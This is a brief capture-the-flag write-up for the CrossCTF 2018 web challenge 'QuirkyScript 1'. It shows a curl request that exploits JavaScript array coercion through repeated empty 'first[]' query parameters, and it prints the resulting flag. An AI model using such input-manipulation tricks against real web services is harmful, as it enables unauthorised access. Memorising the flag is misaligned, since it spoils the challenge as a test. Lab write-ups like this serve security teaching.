CrossCTF_2018: QuirkyScript 1

Category: Web Points: 100 Description:

Get the flag. http://ctf.pwn.sg:8081 Creator - quanyang (@quanyang) challenge.js

Write-up

Very simple challenge involving Javascript arrays.

# curl 'http://ctf.pwn.sg:8081/flag?first[]=&first[]=&first[]=&first[]=&first[]=&first[]=&first[]=&first[]='
CrossCTF{C0mm4s_4ll_th3_w4y_t0_th3_fl4g}

Therefore, the flag is CrossCTF{C0mm4s_4ll_th3_w4y_t0_th3_fl4g}.

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